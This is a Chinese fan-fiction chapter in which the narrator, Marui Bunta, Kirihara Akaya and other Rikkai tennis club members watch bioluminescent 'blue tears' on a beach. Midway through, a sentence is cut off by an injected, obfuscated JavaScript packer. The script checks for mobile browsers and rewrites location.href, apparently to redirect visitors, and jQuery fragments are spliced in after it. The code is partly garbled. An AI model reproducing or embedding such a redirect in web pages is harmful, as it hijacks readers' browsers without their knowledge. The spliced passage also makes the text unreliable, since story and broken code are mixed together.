我一直没动。

    文太固执地掬起一捧沙,沙粒却从他的指缝滑落。

    扑簌簌的。

    好像根本抓不住。

    应该需要很用力地、一口气地捧起一大捧沙子,才能将什么深深埋藏吧。

    文太于是又用力握紧,沙粒却还是从拳头缝隙落下。

    我们之间只有海浪声来回作响。

    他低着头,目光落在我们一起被沙子半埋的手上。

    海风冷冷,沙粒的凉和他手心的温度交织。

    “这样是不行的,”我左手半埋进沙滩里,再用力把我们俩相握的手覆盖起来,“你真的想把我的手藏起来嘛?”

    文太听我这么说,很轻地笑了一下。

    带着一点自嘲和释然,松开了我的手。

    不是一下子抽走的,而是慢慢地,先是手指,然后是掌心,最后彻底放开了。

    “我好像对你说了很任性的话。”

    丸井文太抬起头看我,眼神很清澈。

    他伸出我俩被埋着的手,非常轻柔地帮我把手上沾着的沙粒一点点拂去。

    “小枝本来就不是应该被藏起来的。”文太的手很温暖,让我忍不住靠近。

    “把你藏起来……那我不就是很差劲的家伙了吗?”

    他转过头,两手撑在身后,抬头看天空。

    “星星本来就应该在属于它的位置。”

    “当然啦。”我用脚尖拨弄了下沙子。

    忽然,我余光瞥见不远处的海浪,泛起了一片幽蓝色的光。

    诶?!

    “文太!你看海水!”

    文太顺着我的手看去。

    “蓝眼泪!”文太的眼睛一亮,笑了,“是小枝带来的吗?”

    “噗,”我给他一拳,“你这家伙也太会说了吧。”

    “啊——我被击中了。”文太假装被我打得很痛的样子,夸张地想倒下。

    “笨蛋啦你,我根本没用力,”我站起身,向他伸手,“我还没见过蓝眼泪诶,我们快去玩。”

    文太握住我的手,却又假装病恹恹的样子:“真的很痛......起不来啦。”

    拙劣的演技。

    我用力拉他,可是他真的好重好重。

    “......你是不是偷偷胖了十几斤!”

    此事在公式书中亦有记载。

    “明明是小枝缺乏锻炼,”文太吐了下舌头,狡黠一笑,“你双手试试嘛。”

    我双手一起握住他,身体向后倾,用尽全身力气一拉,文太顺着我的力道,唰地站起来了。

    我们因为惯性猛地靠近,鼻尖几乎要撞在一起。

    扑通扑通。

    文太低下头,很专注地看着我。

    “......骗子。”我用力瞪他。

    “喂——!”

    一个充满活力的声音传来,打破了海角的寂静。

    我们同时转头,看到立海大网球部的一行人正走过来。

    切原赤也冲在最前面,脸上满是不甘心:“太可恶了!文太前辈竟然抢先一步——!”

    “哼。”

    丸井文太把我的手握得更紧了些,朝切原赤也的方向得意地扬了扬下巴。

    ......幼稚鬼。

    “太失礼了!赤也!”真田弦一郎阴沉着脸走在后面。

    胡狼桑原笑着朝我们挥手。

    柳生比吕士绅士地向我点头致意。

    仁王雅治把手搭在柳生肩上,露出看好戏的笑容。

    赤也跑到我面前,两手撑着膝盖,喘着气仰头看我。

    翡翠绿的眼中有纯粹的炽热。

    是不是太直接了?

    “喂,收一收。”我单手捏住他的两颊。

    “......哦,”赤也站直,无措地挠挠头,“可以不吗?”

    乱糟糟的海带卷好像又继续打结了。

    “学姐......我想和你一起看蓝眼泪。”赤也握住我的手腕,掌心发烫。

    “都一起去看吧,再磨蹭蓝眼泪就要消失了哦。”

    文太虚扶住我俩的肩膀,把我们往前推,接着脚步一错,自然地走到我们中间。

    “再不追蓝眼泪就要消失了,赤也快去追。”文太朝海面扬起下巴,示意道。

    “少骗人......”切原赤也有着单细胞小动物的直觉,嘟囔道。

    “那我去追。”我轻松挣开文太的手,跑向退潮中的蓝色海浪。

    哇!

    好冷!

    我又跳着跑回沙滩。

    “噗哈哈哈哈!学姐好笨!”赤也捧腹大笑。

    “......真正的笨蛋另有其人。”柳生比吕士冷静地推了推眼镜。

    仁王雅治弯腰掬起一捧水,看着蓝光从指缝流泻:“puri~比训练有意思。”

    “蓝光会跟着浪跑诶。”赤也和我一样冲进浅滩,踢起一片闪着蓝光的水花。

    我们互相泼水,蓝色的光点在我们之间飞溅,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16679894|184145||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    像是把星星搅碎了融进大海里。

    水花在夜晚中划出晶莹的弧线,赤也溅了离他最近的胡狼桑原一身。

    “赤也!”老实人胡狼抹了把脸,也弯腰捧起水泼回去。

    仁王雅治轻巧地躲开飞来的水花,顺手拉了旁边的柳生比吕士一把,让他挡在身前:“puri~可怜的绅士,湿♂身了。”

    柳生比吕士冷脸回头,优雅地抬脚带起一片水花。

    “不客气,搭档。”

    柳莲二站在稍远的地方冷静地避开战局。

    真田弦一郎和他并肩而立,双手环胸站在沙滩上,严肃的表情微微松动。

    “真田副部长!柳前辈!别躲在一边看着啊!”

    切原赤也一向勇敢作死,他两手用力一扬,把岸上的两人也拖入战局。

    “akaya!”真田弦一郎沉着脸,但也仅此而已。

    随后他又拿出手机,操作了几下:“幸村。”

    真田弦一郎将手机摄像头转向发光的海面,“神奈川的海边出现了蓝眼泪。”

    “真漂亮啊,弦一郎。”幸村带着笑意的声音传来,“谢谢你们特意打来给我看。”

    我看着真田弦一郎略显僵硬地举着手机调整角度,主动上前一步:“真田君,我来帮你拿手机吧。”

    真田弦一郎愣了一下,略显郑重地将手机递给我:“麻烦你了。”

    我接过手机,稳稳地将摄像头对准那片幽蓝的海浪,自己则站在手机后方,确保不会入镜。

    嘛,这种时候我是很有当摄像头女主的自觉的。

    “部长!是蓝眼泪!”赤也捧着海水挤到镜头前,想递给幸村精市看。

    “我看到了,赤也,”幸村精市的声音里笑意很深,“好可惜,我错过了很多呢。”

    胡狼桑原用塑料瓶把海底星星装了进去,举起来向镜头示意:“这样就不会错过了。”

    柳莲二也靠近镜头:“夜光藻的发光是耗能的,不过我们还会一起看很多次蓝眼泪。”

    塑料瓶里的蓝光渐渐黯淡,海面上的蓝眼泪也消退于海水之中。

    “诶——还没玩够呢!”切原赤也哀嚎,头发上的水珠在月光下闪闪发亮。

    “puri~我的傻后辈。”仁王雅治拍拍赤也的脑袋。

    “谢谢你们,让我看到这么美的景色。”

    幸村精市在电话那头轻声说,声音里带着一丝温柔的遗憾。

    我忍不住想,他的眼眸会不会也深如这片海?